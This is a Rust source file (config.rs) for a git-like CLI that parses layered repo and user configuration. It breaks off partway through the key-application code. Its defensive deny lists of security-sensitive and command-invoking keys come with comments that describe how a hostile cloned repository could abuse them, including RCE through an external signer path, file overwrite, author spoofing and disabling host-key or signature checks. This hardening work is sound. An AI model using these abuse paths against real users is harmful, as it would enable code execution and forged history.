Skip to main content

mkit_cli/
config.rs

1//! `.mkit/config` parser / writer and XDG path helpers.
2//!
3//! On-disk format: `key = value`, one per line, lines starting with `#`
4//! ignored. User-facing short-hand values for `user.identity`:
5//! `ed25519:<hex>`, `mid:<u64>`, or raw `[kind][len][bytes]` hex.
6//!
7//! ## Config scope
8//!
9//! There are two layered config files. Higher-priority values win:
10//!
11//! 1. **Repo-scoped** (`<repo>/.mkit/config`) — per-project knobs that
12//!    travel with a clone: branch defaults and remote endpoints.
13//!    Security-sensitive keys are rejected here, see
14//!    [`REPO_FORBIDDEN_KEYS`].
15//! 2. **User-scoped** (`$XDG_CONFIG_HOME/mkit/config`, default
16//!    `~/.config/mkit/config`) — per-user knobs that decide what gets
17//!    signed, what gets executed, and what hosts to trust. A hostile
18//!    cloned repo cannot influence these.
19//! 3. **Built-in defaults** — fall-back when neither file sets a value.
20//!
21//! Merge order: defaults → user → repo (filtered). The repo file is
22//! parsed last so its safe values take precedence over defaults; any
23//! security-sensitive key in the repo file is rejected with a stderr
24//! warning and otherwise ignored. See `docs/THREAT-MODEL.md` for the
25//! threat model that motivates the split.
26
27use mkit_core::layout::RepoLayout;
28use std::fmt::Write as _;
29use std::fs;
30use std::io;
31use std::io::Write as _;
32use std::path::{Path, PathBuf};
33
34use thiserror::Error;
35
36pub const CONFIG_FILE: &str = ".mkit/config";
37pub const USER_CONFIG_SUBPATH: &str = "mkit/config";
38pub const DEFAULT_SIGNING_KEY: &str = ".mkit/keys/default.key";
39pub const DEFAULT_BRANCH: &str = "main";
40pub const DEFAULT_SIGNER: &str = "legacy";
41pub const DEFAULT_KEY_BACKEND: &str = "software";
42pub const DEFAULT_KEY_REF: &str = "software:default";
43pub const DEFAULT_SECP256K1_KEY_REF: &str = "software:default-secp256k1";
44pub const DEFAULT_P256_KEY_REF: &str = "software:default-p256";
45
46/// Keys that MUST NOT be settable via the per-repo `<repo>/.mkit/config`
47/// because a hostile clone could otherwise:
48///
49/// * redirect `signing_key` to overwrite arbitrary files on disk or to
50///   sign attacker-chosen content with the user's real key,
51/// * spoof the commit author by pinning `user.identity` to attacker-
52///   chosen bytes while the victim's real signing key still signs the
53///   object,
54/// * point `attest.external_signer_path` / `_args` at any binary on the
55///   host (RCE under the user's UID),
56/// * **select** a user-scoped external signer or non-Ed25519 algorithm
57///   to confused-deputy through it: even though the path is
58///   user-scoped, the *selector* (`attest.signer`,
59///   `attest.default_algorithm`) is enough to weaponize an existing
60///   user-trusted binary or key against attacker-chosen content,
61/// * mark a repo-controlled HTTP/S3 remote as trusted for ambient
62///   environment credentials,
63/// * disable SSH host-key verification on `mkit push` (MITM),
64/// * disable post-fetch commit/remix/tag signature verification
65///   (`pull.require_signed`, issue #692) — a hostile repo must not be able
66///   to switch off the one check that would otherwise reject its own
67///   unsigned/forged history on the next clone/pull/fetch.
68///
69/// They are accepted from the user-scoped config only.
70pub const REPO_FORBIDDEN_KEYS: &[&str] = &[
71    "user.identity",
72    "trusted_remote_endpoint",
73    "admission_helper",
74    "signer",
75    "transport_auth",
76    "pull.require_signed",
77    "key.backend",
78    "key.default_ref",
79    "key.ed25519_ref",
80    "key.secp256k1_ref",
81    "key.p256_ref",
82    "signing_key",
83    "ssh.strict_host_key_checking",
84    "ssh.user_known_hosts_file",
85    "ssh.identity_file",
86    "attest.signer",
87    "attest.default_algorithm",
88    "attest.external_signer_path",
89    "attest.external_signer_args",
90    "attest.external_signer_timeout_secs",
91    "attest.secp256k1_key_path",
92    "attest.p256_key_path",
93    "grant.webauthn_rp",
94];
95
96/// User-scoped exact keys and the dynamic named-remote admission allowlist key.
97#[must_use]
98pub fn is_repo_forbidden_key(key: &str) -> bool {
99    REPO_FORBIDDEN_KEYS.contains(&key)
100        || key
101            .strip_prefix("remote.")
102            .and_then(|rest| rest.strip_suffix(".admission_headers"))
103            .is_some_and(|name| !name.is_empty())
104}
105
106/// Source of a parsed config line — used to decide whether a key is
107/// allowed (`Repo` rejects [`REPO_FORBIDDEN_KEYS`]; `User` accepts
108/// everything).
109#[derive(Debug, Clone, Copy, PartialEq, Eq)]
110pub enum ConfigScope {
111    Repo,
112    User,
113}
114
115/// Full in-memory representation of merged config (user + repo +
116/// defaults). All fields default to empty / documented defaults;
117/// readers that want a known-good default file should call
118/// [`read_or_default`].
119#[derive(Debug, Clone, Default, PartialEq, Eq)]
120pub struct Config {
121    /// Hex-encoded Identity: `[kind:u8][len:u16 LE][bytes]`. Empty =
122    /// derive from the signing key's public key at commit time.
123    pub user_identity: String,
124    /// Git-compatibility alias `user.name`. **Non-authoritative**: stored
125    /// and round-tripped for parity with `git config user.name`, but it
126    /// NEVER feeds the cryptographic commit author (which is
127    /// [`user_identity`](Self::user_identity) / the signing key). Repo-safe.
128    /// `mkit config` warns on stderr the first time this or
129    /// [`user_email`](Self::user_email) is set while `user_identity` is
130    /// still empty (MKIT-12), since a user coming from git might
131    /// otherwise expect it to control authorship.
132    pub user_name: String,
133    /// Git-compatibility alias `user.email`. Non-authoritative, exactly
134    /// like [`user_name`](Self::user_name) — never feeds the signed author,
135    /// and shares its first-set-without-`user_identity` warning.
136    pub user_email: String,
137    /// Exact remote endpoint the user has explicitly trusted for
138    /// ambient HTTP/S3 environment credentials. User-scoped only.
139    pub trusted_remote_endpoint: String,
140    /// Absolute executable path for the user-scoped admission helper.
141    pub admission_helper: String,
142    /// Per-remote extra header allowlists, separate from endpoint listings.
143    pub remote_admission_headers: std::collections::BTreeMap<String, String>,
144    pub signing_key: String,
145    pub default_branch: String,
146    pub remote_endpoint: String,
147    pub remote_bucket: String,
148    pub remote_type: String,
149    pub ssh_strict_host_key_checking: String,
150    pub ssh_user_known_hosts_file: String,
151    pub ssh_identity_file: String,
152    /// Extra PEM certificate authorities for native HTTPS remote connections.
153    /// `MKIT_SSL_CA_FILE` overrides this normally layered `http.sslCAInfo` key.
154    pub http_ssl_ca_info: String,
155    /// Write-auth scheme for `mkit+https://` / `mkit+http://` remotes
156    /// (`mkit-transport-connect::ConnectTransport`). Empty/`"bearer"`
157    /// (default) sends `MKIT_API_TOKEN` as a Bearer token, unchanged from
158    /// #700/#701. `"envelope"` ADDITIONALLY signs every write RPC
159    /// (`UpdateRef`/`AdvanceRefs`/`UploadPack`) with an Ed25519 write
160    /// envelope, reusing the exact SAME signer resolution as commit
161    /// signing — [`Self::signer`] / [`Self::signing_key`] /
162    /// [`KeyConfig::ed25519_ref`](KeyConfig::ed25519_ref) — see
163    /// `remote_dispatch::envelope_signer_from_config`. User-scoped only:
164    /// request authorization is a separate use of the ambient identity.
165    /// Destination trust is checked before loading a signing key.
166    pub transport_auth: String,
167    /// `grant.webauthn_rp`: the `WebAuthn` relying parties whose assertions
168    /// `mkit grant create --webauthn-assertion` and the grant store accept
169    /// (SPEC-WRITE-GRANTS §4.3). Each entry is `<rp_id> <origin>...`; the
170    /// key may repeat and one value may hold several entries separated by
171    /// `|`. User-scoped only (a repository must not choose which relying
172    /// party vouches for an owner).
173    pub grant_webauthn_rp: Vec<String>,
174    /// Commit-signing selector. User-scoped only.
175    pub signer: String,
176    /// `pull.require_signed` — gates whether `clone`/`pull`/`fetch` verify
177    /// every newly-fetched commit/remix/tag's Ed25519 signature before
178    /// publishing the remote-tracking ref (issue #692). Empty (the
179    /// documented default) and any value except `"false"`/`"0"`/`"no"`/
180    /// `"off"` mean "verify, fail closed"; see
181    /// [`Config::pull_require_signed_or_default`]. User-scoped only — a
182    /// hostile repo config must not be able to silently disable the check
183    /// that protects the clone against exactly that repo (see
184    /// [`REPO_FORBIDDEN_KEYS`]).
185    pub pull_require_signed: String,
186    /// `[key]` section. User-scoped keystore selectors.
187    pub key: KeyConfig,
188    /// `[attest]` section. Separate struct so new attest knobs don't
189    /// balloon the flat `Config`.
190    pub attest: AttestConfig,
191    /// Named remotes keyed by name (`remote.<name>.url` /
192    /// `remote.<name>.type`). Repo-safe — addresses, same class as the
193    /// flat `remote_endpoint`. The legacy flat `remote_endpoint` /
194    /// `remote_type` act as the implicit `default` remote.
195    pub remotes: std::collections::BTreeMap<String, RemoteEntry>,
196    /// Per-branch upstream tracking keyed by local branch name
197    /// (`branch.<branch>.remote` / `branch.<branch>.merge`). Repo-safe.
198    pub branch_upstreams: std::collections::BTreeMap<String, Upstream>,
199    /// Object-store durability schedule: empty/`batch` (default) =
200    /// batched commit-time flushes; `per-object` = strict historical
201    /// full-flush-per-object schedule (SPEC-OBJECTS §10.1's stricter
202    /// conforming option). Repo-safe: the non-default value only
203    /// STRENGTHENS durability (and slows writes); it cannot weaken
204    /// anything.
205    pub durability_objects: String,
206    /// Allowlisted, **inert** `core.*` git-compat keys (see
207    /// [`CORE_ALLOWED_KEYS`]). Accepted and round-tripped for parity but
208    /// **not honored** by mkit — they are cosmetic settings git stores
209    /// per-repo. Dangerous `core.*` keys ([`CORE_DENIED_KEYS`]) are rejected
210    /// rather than stored. Keyed by the bare suffix (e.g. `autocrlf`).
211    pub core: std::collections::BTreeMap<String, String>,
212}
213
214/// Inert `core.*` keys accepted for git compatibility. They are stored and
215/// round-tripped but mkit does not act on them (it has no CRLF translation,
216/// honors exec bits natively, etc.). Repo-safe precisely because inert.
217pub const CORE_ALLOWED_KEYS: &[&str] = &[
218    "autocrlf",
219    "bare",
220    "filemode",
221    "ignorecase",
222    "quotepath",
223    "symlinks",
224];
225
226/// Dangerous `core.*` keys that mkit refuses to store: they would change what
227/// commands or hooks mkit invokes if it honored them, so a hostile repo (or a
228/// typo) must not be able to set them. Rejected with a clear message.
229pub const CORE_DENIED_KEYS: &[&str] = &["editor", "fsmonitor", "hookspath", "pager", "sshcommand"];
230
231/// A named remote's stored address. `type` is a dispatch hint derived
232/// from the URL scheme at `mkit remote add` time.
233#[derive(Debug, Clone, Default, PartialEq, Eq)]
234pub struct RemoteEntry {
235    pub url: String,
236    pub remote_type: String,
237}
238
239/// Per-branch upstream: the remote name plus the remote branch this
240/// local branch tracks (`branch.<b>.merge` stores the bare branch
241/// name, e.g. `main`).
242#[derive(Debug, Clone, Default, PartialEq, Eq)]
243pub struct Upstream {
244    pub remote: String,
245    pub branch: String,
246}
247
248/// `[key]` section for keystore-backed signing. All fields are user-scoped.
249#[derive(Debug, Clone, Default, PartialEq, Eq)]
250pub struct KeyConfig {
251    /// Default backend for `mkit key` commands.
252    pub backend: String,
253    /// Generic key reference.
254    pub default_ref: String,
255    /// Ed25519 key reference.
256    pub ed25519_ref: String,
257    /// secp256k1 key reference.
258    pub secp256k1_ref: String,
259    /// P-256 key reference.
260    pub p256_ref: String,
261}
262
263impl KeyConfig {
264    #[must_use]
265    pub fn backend_or_fallback(&self) -> &str {
266        if self.backend.is_empty() {
267            DEFAULT_KEY_BACKEND
268        } else {
269            self.backend.as_str()
270        }
271    }
272
273    #[must_use]
274    pub fn default_ref_or_fallback(&self) -> &str {
275        if self.default_ref.is_empty() {
276            DEFAULT_KEY_REF
277        } else {
278            self.default_ref.as_str()
279        }
280    }
281
282    #[must_use]
283    pub fn ed25519_ref_or_fallback(&self) -> &str {
284        if self.ed25519_ref.is_empty() {
285            self.default_ref_or_fallback()
286        } else {
287            self.ed25519_ref.as_str()
288        }
289    }
290
291    #[must_use]
292    pub fn secp256k1_ref_or_fallback(&self) -> &str {
293        if self.secp256k1_ref.is_empty() {
294            if self.default_ref.is_empty() {
295                DEFAULT_SECP256K1_KEY_REF
296            } else {
297                self.default_ref.as_str()
298            }
299        } else {
300            self.secp256k1_ref.as_str()
301        }
302    }
303
304    #[must_use]
305    pub fn p256_ref_or_fallback(&self) -> &str {
306        if self.p256_ref.is_empty() {
307            if self.default_ref.is_empty() {
308                DEFAULT_P256_KEY_REF
309            } else {
310                self.default_ref.as_str()
311            }
312        } else {
313            self.p256_ref.as_str()
314        }
315    }
316}
317
318/// Parsed config with per-layer provenance preserved so callers can
319/// distinguish "repo configured this" from "user explicitly trusted
320/// this".
321#[derive(Debug, Clone, Default, PartialEq, Eq)]
322pub struct LayeredConfig {
323    pub merged: Config,
324    pub user: Config,
325    pub repo: Config,
326}
327
328/// `[attest]` section. All fields optional with documented defaults; a
329/// fresh repo's config file has none of them set.
330#[derive(Debug, Clone, Default, PartialEq, Eq)]
331pub struct AttestConfig {
332    /// One of `"ed25519"`, `"secp256k1"`, `"p256"`. Empty = `"ed25519"`.
333    pub default_algorithm: String,
334    /// One of `"repo-key"`, `"external"`, `"keystore"`. Empty = `"repo-key"`.
335    pub signer: String,
336    /// Absolute path to the external signer binary. Required when
337    /// `signer = "external"`. User-scoped only.
338    pub external_signer_path: String,
339    /// Extra argv tokens to pass to the external signer subprocess.
340    /// Each `Vec` entry is one argv entry — the stored list maps 1:1
341    /// to `std::process::Command::args`. On disk, encoded as a
342    /// pipe-separated string: `attest.external_signer_args = sign|--tag|demo`.
343    /// User-scoped only.
344    pub external_signer_args: Vec<String>,
345    /// Wall-clock budget (in seconds) for the entire external-signer
346    /// conversation: spawn → request-write → response-read →
347    /// stderr-drain → child-exit. On expiry mkit kills and reaps the
348    /// child. Empty / 0 = use the crate default (120s, generous for
349    /// hardware touch/PIN/biometric). User-scoped only — see
350    /// [`REPO_FORBIDDEN_KEYS`] (a hostile repo must not be able to set a
351    /// 0s "deny" timeout or a multi-hour hang).
352    pub external_signer_timeout_secs: Option<u64>,
353    /// Per-algorithm repo-key paths for non-ed25519 signing.
354    /// User-scoped only — see [`REPO_FORBIDDEN_KEYS`].
355    pub secp256k1_key_path: String,
356    pub p256_key_path: String,
357}
358
359impl AttestConfig {
360    #[must_use]
361    pub fn default_algorithm_or_fallback(&self) -> &str {
362        if self.default_algorithm.is_empty() {
363            "ed25519"
364        } else {
365            self.default_algorithm.as_str()
366        }
367    }
368
369    #[must_use]
370    pub fn signer_or_fallback(&self) -> &str {
371        if self.signer.is_empty() {
372            "repo-key"
373        } else {
374            self.signer.as_str()
375        }
376    }
377
378    #[must_use]
379    pub fn secp256k1_key_path_or_default(&self) -> &str {
380        if self.secp256k1_key_path.is_empty() {
381            ".mkit/keys/secp256k1.key"
382        } else {
383            self.secp256k1_key_path.as_str()
384        }
385    }
386
387    #[must_use]
388    pub fn p256_key_path_or_default(&self) -> &str {
389        if self.p256_key_path.is_empty() {
390            ".mkit/keys/p256.key"
391        } else {
392            self.p256_key_path.as_str()
393        }
394    }
395}
396
397impl Config {
398    /// Return a Config with documented defaults filled in.
399    #[must_use]
400    pub fn with_defaults() -> Self {
401        Self {
402            signing_key: DEFAULT_SIGNING_KEY.to_owned(),
403            default_branch: DEFAULT_BRANCH.to_owned(),
404            signer: DEFAULT_SIGNER.to_owned(),
405            key: KeyConfig {
406                backend: DEFAULT_KEY_BACKEND.to_owned(),
407                default_ref: String::new(),
408                ed25519_ref: String::new(),
409                secp256k1_ref: String::new(),
410                p256_ref: String::new(),
411            },
412            ..Self::default()
413        }
414    }
415}
416
417#[derive(Debug, Error)]
418pub enum ConfigError {
419    #[error("I/O: {0}")]
420    Io(#[from] io::Error),
421    #[error("invalid config value — control characters are not permitted")]
422    InvalidValue,
423    #[error("unknown config key: {0}")]
424    UnknownKey(String),
425    #[error("invalid user.identity: {0}")]
426    InvalidUserIdentity(&'static str),
427    #[error("invalid http.sslCAInfo path: {0}")]
428    InvalidHttpCaPath(&'static str),
429    #[error(
430        "key path must not contain `..`; relative paths must stay under `.mkit/keys/` and absolute paths must stay under `$HOME`: {0}"
431    )]
432    InvalidKeyPath(String),
433}
434
435/// Validate that a key-file path (`signing_key`, `attest.*_key_path`,
436/// `ssh.*_file`) cannot escape via `..` traversal. Empty strings pass
437/// — callers fall back to the documented default.
438impl Config {
439    /// Resolve `http.sslCAInfo` for a native HTTPS connection. Relative paths
440    /// start at the worktree root; `~` and `~/` use the process's home directory.
441    /// The stored config value remains unchanged for normal config roundtrips.
442    ///
443    /// # Errors
444    /// A tilde path without a home directory, or unsupported `~user` syntax.
445    pub fn ssl_ca_file_path(&self, layout: &RepoLayout) -> Result<Option<PathBuf>, ConfigError> {
446        let value = self.http_ssl_ca_info.as_str();
447        if value.is_empty() {
448            return Ok(None);
449        }
450        let path = if value == "~" || value.starts_with("~/") {
451            let home = std::env::var_os("HOME")
452                .filter(|directory| !directory.is_empty())
453                .ok_or(ConfigError::InvalidHttpCaPath(
454                    "HOME is unavailable for a tilde path",
455                ))?;
456            let mut path = PathBuf::from(home);
457            if let Some(rest) = value.strip_prefix("~/") {
458                path.push(rest);
459            }
460            path
461        } else if value.starts_with('~') {
462            return Err(ConfigError::InvalidHttpCaPath(
463                "use ~/ or an absolute path, not ~user",
464            ));
465        } else {
466            PathBuf::from(value)
467        };
468        Ok(Some(if path.is_absolute() {
469            path
470        } else {
471            layout.worktree_root().join(path)
472        }))
473    }
474
475    /// Map `durability.objects` onto the object-store sync policy.
476    /// Unknown values fall back to the batched default rather than
477    /// erroring — config load must not brick the repo.
478    #[must_use]
479    pub fn object_sync_policy(&self) -> mkit_core::store::SyncPolicy {
480        match self.durability_objects.trim() {
481            "per-object" | "per_object" => mkit_core::store::SyncPolicy::PerObject,
482            _ => mkit_core::store::SyncPolicy::Batch,
483        }
484    }
485
486    /// Effective `pull.require_signed` (issue #692): `true` unless the
487    /// user-scoped config explicitly disabled it. Empty (unset, the
488    /// documented default) and any unrecognized value are treated as
489    /// "verify" — only an explicit falsy spelling opts out, so a typo in
490    /// the config file fails closed rather than silently disabling the
491    /// check.
492    #[must_use]
493    pub fn pull_require_signed_or_default(&self) -> bool {
494        !matches!(
495            self.pull_require_signed
496                .trim()
497                .to_ascii_lowercase()
498                .as_str(),
499            "false" | "0" | "no" | "off"
500        )
501    }
502
503    /// `true` iff [`Self::transport_auth`] selects the Ed25519 write-envelope
504    /// auth mode (case-insensitive `"envelope"`). Empty (the default) and
505    /// any other value mean the unchanged bearer-token-only behavior.
506    #[must_use]
507    pub fn transport_auth_envelope(&self) -> bool {
508        self.transport_auth.trim().eq_ignore_ascii_case("envelope")
509    }
510}
511
512pub fn validate_key_path(value: &str) -> Result<(), ConfigError> {
513    if value.is_empty() {
514        return Ok(());
515    }
516    let p = Path::new(value);
517    for comp in p.components() {
518        if matches!(comp, std::path::Component::ParentDir) {
519            return Err(ConfigError::InvalidKeyPath(value.to_owned()));
520        }
521    }
522    Ok(())
523}
524
525/// Resolve a configured signing-key path against `root`.
526///
527/// Policy from the security hardening follow-up:
528/// - relative paths are allowed only under `<repo>/.mkit/keys/`
529/// - absolute paths are allowed only under the home directory of the
530///   process's effective uid (looked up via `getpwuid_r(geteuid())`,
531///   not `$HOME`, so a hostile parent can't set `HOME=/` and admit
532///   every absolute path).
533pub fn resolve_key_path(layout: &RepoLayout, value: &str) -> Result<PathBuf, ConfigError> {
534    validate_key_path(value)?;
535    let path = Path::new(value);
536    if path.is_absolute() {
537        let Some(home) = home_dir_for_euid() else {
538            return Err(ConfigError::InvalidKeyPath(value.to_owned()));
539        };
540        return if path.starts_with(&home) {
541            Ok(path.to_path_buf())
542        } else {
543            Err(ConfigError::InvalidKeyPath(value.to_owned()))
544        };
545    }
546
547    // A relative key path is repo-relative with a mandatory
548    // `.mkit/keys/` prefix. Resolve the `.mkit/` component against the
549    // layout's COMMON dir — the one shared key store — so a linked
550    // worktree (#493) signs with the same repo keys as the main tree.
551    // Single-worktree repos resolve byte-identically to the historical
552    // `<root>/.mkit/…` join.
553    let Ok(under_mkit) = path.strip_prefix(mkit_core::MKIT_DIR) else {
554        return Err(ConfigError::InvalidKeyPath(value.to_owned()));
555    };
556    let joined = layout.common_dir().join(under_mkit);
557    let repo_keys = layout.keys_dir();
558    if !joined.starts_with(&repo_keys) {
559        return Err(ConfigError::InvalidKeyPath(value.to_owned()));
560    }
561    Ok(joined)
562}
563
564/// Resolve the home directory of the current effective uid via
565/// `getpwuid_r`, ignoring `$HOME`.
566///
567/// `$HOME` is part of the parent process's environment and a malicious
568/// parent can set it to anything (`/`, `/tmp`, an attacker-owned dir)
569/// before exec'ing `mkit`. The kernel-side passwd database, by
570/// contrast, is rooted in the system's user store and tracks the same
571/// uid used elsewhere in the security checks (`load_raw_32`'s owner
572/// check, parent-dir mode check, etc.). Falling back to `$HOME` would
573/// re-introduce the exact attack we're trying to close, so we don't.
574#[cfg(unix)]
575#[must_use]
576pub fn home_dir_for_euid() -> Option<PathBuf> {
577    use std::ffi::CStr;
578    use std::os::unix::ffi::OsStringExt;
579
580    // `getpwuid_r` writes into caller-provided buffers. 4 KiB matches
581    // the `_SC_GETPW_R_SIZE_MAX` advisory size on Linux/macOS and is
582    // far more than any real passwd entry needs; if it ever overflows
583    // we fail closed (the caller treats `None` as "refuse the absolute
584    // path") rather than retrying with a larger buffer.
585    //
586    // SAFETY: `getpwuid_r` is the thread-safe / reentrant variant of
587    // `getpwuid`. `pwd` and `buf` are valid stack memory of known size
588    // for the duration of the call; `result` is set to either `&pwd`
589    // (entry found) or NULL (no entry). `geteuid` is parameterless and
590    // infallible. We only read `pwd.pw_dir` when `result == &pwd`, and
591    // the bytes we hand out come from copying through `CStr`, not from
592    // continuing to dereference `pwd` after the unsafe block ends.
593    // Reviewed alongside the matching `geteuid` block in
594    // `mkit_core::sign`.
595    #[allow(unsafe_code)]
596    let pw_dir_owned = unsafe {
597        let mut buf = [0i8; 4096];
598        let mut pwd: libc::passwd = std::mem::zeroed();
599        let mut result: *mut libc::passwd = std::ptr::null_mut();
600        let rc = libc::getpwuid_r(
601            libc::geteuid(),
602            std::ptr::addr_of_mut!(pwd),
603            buf.as_mut_ptr().cast::<libc::c_char>(),
604            buf.len(),
605            std::ptr::addr_of_mut!(result),
606        );
607        if rc != 0 || result.is_null() || pwd.pw_dir.is_null() {
608            None
609        } else {
610            // Copy the C string out before `buf` / `pwd` go out of
611            // scope. `to_bytes` does not include the trailing NUL.
612            Some(CStr::from_ptr(pwd.pw_dir).to_bytes().to_vec())
613        }
614    };
615    let bytes = pw_dir_owned?;
616    if bytes.is_empty() {
617        return None;
618    }
619    Some(PathBuf::from(std::ffi::OsString::from_vec(bytes)))
620}
621
622#[cfg(not(unix))]
623#[must_use]
624pub fn home_dir_for_euid() -> Option<PathBuf> {
625    // Windows: there's no `getpwuid` equivalent. `%USERPROFILE%` is
626    // the conventional environment variable but is no more
627    // tamper-resistant than `$HOME` on Unix. Document the gap and
628    // accept it — the user-vs-attacker threat model on Windows is
629    // bounded by the user-profile ACL, not by this check.
630    std::env::var_os("USERPROFILE").map(PathBuf::from)
631}
632
633/// Split a pipe-separated argv string into argv tokens.
634#[must_use]
635pub fn parse_pipe_list(s: &str) -> Vec<String> {
636    if s.is_empty() {
637        return Vec::new();
638    }
639    s.split('|').map(str::to_owned).collect()
640}
641
642/// Validate a config value has no control bytes below 0x20 (except
643/// tab) and no 0x7f.
644pub fn validate_value(v: &str) -> Result<(), ConfigError> {
645    for b in v.bytes() {
646        if b < 0x20 || b == 0x7f {
647            return Err(ConfigError::InvalidValue);
648        }
649    }
650    Ok(())
651}
652
653/// Resolve the user-scoped config file path:
654/// `$XDG_CONFIG_HOME/mkit/config`, falling back to
655/// `$HOME/.config/mkit/config`.
656#[must_use]
657pub fn user_config_path() -> PathBuf {
658    xdg_config_home().join(USER_CONFIG_SUBPATH)
659}
660
661/// Read the layered config: defaults → user-scoped → repo-scoped
662/// (filtered to non-sensitive keys). Missing files are not errors; the
663/// per-layer absence simply leaves the lower layer's value in place.
664///
665/// If the repo file sets a key listed in [`REPO_FORBIDDEN_KEYS`], a
666/// warning is printed to stderr and the value is dropped.
667pub fn read_or_default(layout: &RepoLayout) -> Result<Config, ConfigError> {
668    let mut cfg = Config::with_defaults();
669    apply_file(&mut cfg, &user_config_path(), ConfigScope::User)?;
670    apply_file(&mut cfg, &layout.config_file(), ConfigScope::Repo)?;
671    // `-c <key>=<val>` one-shot overrides apply to BOTH the layered and the
672    // flat read path, so `mkit -c … <any-command>` is honored uniformly
673    // (commit/merge/etc. read through here). Same forbidden-key enforcement.
674    apply_cli_overrides(&mut cfg);
675    Ok(cfg)
676}
677
678/// Read both raw layers plus the merged config.
679pub fn read_layered(layout: &RepoLayout) -> Result<LayeredConfig, ConfigError> {
680    let mut merged = Config::with_defaults();
681    let user_path = user_config_path();
682    let repo_path = layout.config_file();
683    apply_file_inner(&mut merged, &user_path, ConfigScope::User, true)?;
684    apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, true)?;
685    // `-c <key>=<val>` one-shot overrides (git parity) are applied LAST, on
686    // top of every file layer, but ONLY to the effective `merged` view —
687    // never to `user`/`repo`, so they are never persisted by a later
688    // `config::write`. They flow through the SAME forbidden-key enforcement
689    // as a per-repo file: security-sensitive keys (`REPO_FORBIDDEN_KEYS`)
690    // and dangerous `core.*` (`CORE_DENIED_KEYS`) are refused, so `-c`
691    // cannot spoof the signed author or redirect signing/transport trust.
692    apply_cli_overrides(&mut merged);
693
694    let mut user = Config::default();
695    apply_file_inner(&mut user, &user_path, ConfigScope::User, false)?;
696
697    let mut repo = Config::default();
698    apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false)?;
699
700    Ok(LayeredConfig { merged, user, repo })
701}
702
703/// Process-global `-c <key>=<val>` overrides set once by the CLI
704/// dispatcher before any command runs.
705static CLI_OVERRIDES: std::sync::OnceLock<std::sync::Mutex<Vec<(String, String)>>> =
706    std::sync::OnceLock::new();
707
708/// Record the `-c key=value` overrides parsed from the global flags. Each
709/// is `(key, value)`; an empty list clears any previous set. Idempotent
710/// and safe to call before dispatch.
711pub fn set_cli_overrides(overrides: Vec<(String, String)>) {
712    let slot = CLI_OVERRIDES.get_or_init(|| std::sync::Mutex::new(Vec::new()));
713    if let Ok(mut guard) = slot.lock() {
714        *guard = overrides;
715    }
716}
717
718/// Apply the recorded `-c` overrides to `cfg`, enforcing the same
719/// forbidden-key / denied-`core.*` rules a per-repo file gets.
720fn apply_cli_overrides(cfg: &mut Config) {
721    let Some(slot) = CLI_OVERRIDES.get() else {
722        return;
723    };
724    let Ok(overrides) = slot.lock() else {
725        return;
726    };
727    for (raw_key, val) in overrides.iter() {
728        let key = normalize_config_key(raw_key.trim());
729        if is_repo_forbidden_key(&key) {
730            let mut stderr = io::stderr().lock();
731            let _ = writeln!(
732                stderr,
733                "warning: ignoring `-c {key}=…` (security-sensitive keys cannot be set via -c; \
734                 set it in your user config — see docs/THREAT-MODEL.md)"
735            );
736            continue;
737        }
738        // Reject control characters in the value (defense in depth — same
739        // check `mkit config` applies before persisting).
740        if validate_value(val.trim()).is_err() {
741            let mut stderr = io::stderr().lock();
742            let _ = writeln!(
743                stderr,
744                "warning: ignoring `-c {key}=…` (value contains control characters)"
745            );
746            continue;
747        }
748        apply_kv(cfg, &key, val.trim());
749    }
750}
751
752/// Apply a single config file to `cfg` under the given scope. Missing
753/// file → no-op (returns `Ok`). Malformed lines are tolerated.
754///
755/// Public-in-crate so tests can drive layering without mutating the
756/// process's `XDG_CONFIG_HOME` env var (which would race with parallel
757/// tests and trip the `disallowed-methods` lint).
758pub(crate) fn apply_file(
759    cfg: &mut Config,
760    path: &Path,
761    scope: ConfigScope,
762) -> Result<(), ConfigError> {
763    apply_file_inner(cfg, path, scope, true)
764}
765
766fn apply_file_inner(
767    cfg: &mut Config,
768    path: &Path,
769    scope: ConfigScope,
770    warn_on_forbidden: bool,
771) -> Result<(), ConfigError> {
772    let text = match fs::read_to_string(path) {
773        Ok(s) => s,
774        Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(()),
775        Err(e) => return Err(e.into()),
776    };
777    for raw_line in text.lines() {
778        let line = raw_line.trim();
779        if line.is_empty() || line.starts_with('#') {
780            continue;
781        }
782        let Some((k, v)) = line.split_once('=') else {
783            continue;
784        };
785        // Git matches config section + variable names case-insensitively,
786        // so a hand-edited `User.Name` / `Core.AutoCRLF` must resolve like
787        // its canonical form. Normalize BEFORE the forbidden-key check so a
788        // case-variant (`User.Identity`) can't slip a security-sensitive key
789        // into the per-repo layer. Subsection names (`remote.<name>`,
790        // `branch.<branch>`) keep their case — they are case-sensitive in
791        // git, and lowercasing them would corrupt named remotes on reload.
792        let key = normalize_config_key(k.trim());
793        let key = key.as_str();
794        let val = v.trim();
795        if scope == ConfigScope::Repo && is_repo_forbidden_key(key) {
796            if warn_on_forbidden {
797                warn_forbidden_repo_key(path, key);
798            }
799            continue;
800        }
801        apply_kv(cfg, key, val);
802    }
803    Ok(())
804}
805
806fn warn_forbidden_repo_key(path: &Path, key: &str) {
807    let mut stderr = io::stderr().lock();
808    let _ = writeln!(
809        stderr,
810        "warning: ignoring `{key}` from per-repo config at {} \
811         (security-sensitive keys are user-scoped only — see {} \
812         and docs/THREAT-MODEL.md)",
813        path.display(),
814        user_config_path().display()
815    );
816}
817
818/// Apply one parsed key/value pair to `cfg`. Unknown / legacy keys are
819/// tolerated (silent) for forward compat with hand-edited files.
820fn apply_kv(cfg: &mut Config, key: &str, val: &str) {
821    // Inert git-compat `core.*` keys: store only the allowlisted ones
822    // (dangerous keys are dropped on read, like any other unknown key).
823    if let Some(suffix) = core_allowed_suffix(key) {
824        cfg.core.insert(suffix, val.to_string());
825        return;
826    }
827    match key {
828        "user.identity" => val.clone_into(&mut cfg.user_identity),
829        // Git-compatibility aliases — non-authoritative (never feed the
830        // signed author), so they are repo-safe to read at any scope.
831        "user.name" => val.clone_into(&mut cfg.user_name),
832        "user.email" => val.clone_into(&mut cfg.user_email),
833        "trusted_remote_endpoint" => val.clone_into(&mut cfg.trusted_remote_endpoint),
834        "admission_helper" => val.clone_into(&mut cfg.admission_helper),
835        "signer" => val.clone_into(&mut cfg.signer),
836        "pull.require_signed" => val.clone_into(&mut cfg.pull_require_signed),
837        "key.backend" => val.clone_into(&mut cfg.key.backend),
